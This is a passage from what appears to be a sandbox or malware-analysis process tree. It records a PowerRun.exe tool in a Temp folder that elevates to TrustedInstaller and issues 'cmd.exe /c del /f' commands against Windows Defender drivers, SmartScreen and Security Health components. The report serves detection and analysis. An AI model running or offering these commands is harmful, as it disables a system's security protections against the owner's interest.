                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthService.exe""
                                                                                                                                                                                  5⤵
                                                                                                                                                                                    PID:5628
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthService.exe""
                                                                                                                                                                                      6⤵
                                                                                                                                                                                        PID:5640
                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                          "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\SecurityHealthService.exe""
                                                                                                                                                                                          7⤵
                                                                                                                                                                                            PID:6000
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                      PowerRun cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthHost.exe""
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:5528
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthHost.exe""
                                                                                                                                                                                          5⤵
                                                                                                                                                                                            PID:1500
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthHost.exe""
                                                                                                                                                                                              6⤵
                                                                                                                                                                                                PID:5168
                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                  "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\SecurityHealthHost.exe""
                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                    PID:6084
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                              PowerRun cmd.exe /c del /f ""C:\Windows\System32\drivers\SgrmAgent.sys""
                                                                                                                                                                                              4⤵
                                                                                                                                                                                                PID:5576
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\drivers\SgrmAgent.sys""
                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                    PID:5212
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\drivers\SgrmAgent.sys""
                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                        PID:1900
                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                          "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\drivers\SgrmAgent.sys""
                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                            PID:5184
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                      PowerRun cmd.exe /c del /f ""C:\Windows\System32\drivers\WdDevFlt.sys""
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                        PID:4768
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\drivers\WdDevFlt.sys""
                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                            PID:6116
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\drivers\WdDevFlt.sys""
                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                PID:5452
                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                  "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\drivers\WdDevFlt.sys""
                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                    PID:5304
                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                        PID:5748
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                PowerRun cmd.exe /c del /f ""C:\Windows\System32\drivers\WdBoot.sys""
                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                  PID:5128
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\drivers\WdBoot.sys""
                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                      PID:4208
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\drivers\WdBoot.sys""
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                          PID:6108
                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                            "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\drivers\WdBoot.sys""
                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                              PID:4672
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                        PowerRun cmd.exe /c del /f ""C:\Windows\System32\drivers\WdFilter.sys""
                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                          PID:5744
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\drivers\WdFilter.sys""
                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                              PID:5688
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\drivers\WdFilter.sys""
                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                  PID:5640
                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                    "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\drivers\WdFilter.sys""
                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                      PID:5444
                                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                          PID:5300
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                  PowerRun cmd.exe /c del /f ""C:\Windows\System32\wscsvc.dll""
                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                    PID:2648
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\wscsvc.dll""
                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                        PID:1472
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\wscsvc.dll""
                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                            PID:5732
                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                              "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\wscsvc.dll""
                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                PID:5680
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                          PowerRun cmd.exe /c del /f ""C:\Windows\System32\drivers\WdNisDrv.sys""
                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                            PID:4432
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\drivers\WdNisDrv.sys""
                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                PID:3996
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\drivers\WdNisDrv.sys""
                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                    PID:1988
                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                      "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\drivers\WdNisDrv.sys""
                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                        PID:5852
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                  PowerRun cmd.exe /c del /f ""C:\Windows\System32\wscsvc.dll""
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                    PID:5236
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\wscsvc.dll""
                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                        PID:6044
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\wscsvc.dll""
                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                            PID:5604
                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                              "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\wscsvc.dll""
                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                PID:5924
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                          PowerRun cmd.exe /c del /f ""C:\Windows\System32\wscproxystub.dll""
                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                            PID:5968
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\wscproxystub.dll""
                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                PID:5172
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\wscproxystub.dll""
                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                    PID:4208
                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                      "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\wscproxystub.dll""
                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                        PID:3684
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                  PowerRun cmd.exe /c del /f ""C:\Windows\System32\wscisvif.dll""
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                    PID:6116
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\wscisvif.dll""
                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                        PID:5608
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\wscisvif.dll""
                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                            PID:5428
                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                              "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\wscisvif.dll""
                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                PID:2312
                                                                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                    PID:2952
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                            PowerRun cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthProxyStub.dll""
                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                              PID:552
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthProxyStub.dll""
                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                  PID:5300
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthProxyStub.dll""
                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                      PID:5200
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                        "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\SecurityHealthProxyStub.dll""
                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                          PID:5940
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                    PowerRun cmd.exe /c del /f ""C:\Windows\System32\smartscreen.dll""
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                      PID:5132
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\smartscreen.dll""
                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                          PID:724
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\smartscreen.dll""
                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                              PID:4620
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\smartscreen.dll""
                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                  PID:5472
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                            PowerRun cmd.exe /c del /f ""C:\Windows\SysWOW64\smartscreen.dll""
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                              PID:5540
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\SysWOW64\smartscreen.dll""
                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                  PID:940
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\SysWOW64\smartscreen.dll""
                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                      PID:5344
                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\SysWOW64\smartscreen.dll""
                                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                                          PID:5248
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                    PowerRun cmd.exe /c del /f ""C:\Windows\System32\smartscreen.exe""
                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                      PID:5372
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\smartscreen.exe""
                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                          PID:5956
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\smartscreen.exe""
                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                              PID:5276
                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\smartscreen.exe""
                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                  PID:6068
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                            PowerRun cmd.exe /c del /f ""C:\Windows\SysWOW64\smartscreen.exe""
                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                              PID:6096
                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\SysWOW64\smartscreen.exe""
                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                  PID:5212
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\SysWOW64\smartscreen.exe""
                                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                                      PID:5508
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\SysWOW64\smartscreen.exe""
                                                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                                                          PID:3820
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                    PowerRun cmd.exe /c del /f ""C:\Windows\System32\DWWIN.EXE""
                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                      PID:5848
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\DWWIN.EXE""
                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                          PID:6092
                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\DWWIN.EXE""
                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                              PID:2776
                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\DWWIN.EXE""
                                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                                  PID:3372
                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                            PowerRun cmd.exe /c del /f ""C:\Windows\SysWOW64\smartscreenps.dll""
                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                              PID:5192
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\SysWOW64\smartscreenps.dll""
                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                  PID:5948
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\SysWOW64\smartscreenps.dll""
                                                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                                                      PID:2984
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\SysWOW64\smartscreenps.dll""
                                                                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                                                                          PID:5448
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                    PowerRun cmd.exe /c del /f ""C:\Windows\System32\smartscreenps.dll""
                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                      PID:2588
                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\smartscreenps.dll""
                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                          PID:5636
                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\smartscreenps.dll""
                                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                                              PID:5864
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\smartscreenps.dll""
                                                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                                                  PID:2312
                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                            PowerRun cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthCore.dll""
                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                              PID:2096
                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthCore.dll""
                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                  PID:5228
                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthCore.dll""
                                                                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                                                                      PID:5348
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\SecurityHealthCore.dll""
                                                                                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                                                                                          PID:4368
                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                    PowerRun cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthSsoUdk.dll""
                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                      PID:484
                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthSsoUdk.dll""
                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                          PID:5848
                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthSsoUdk.dll""
                                                                                                                                                                                                                                                                                                                                                            6⤵
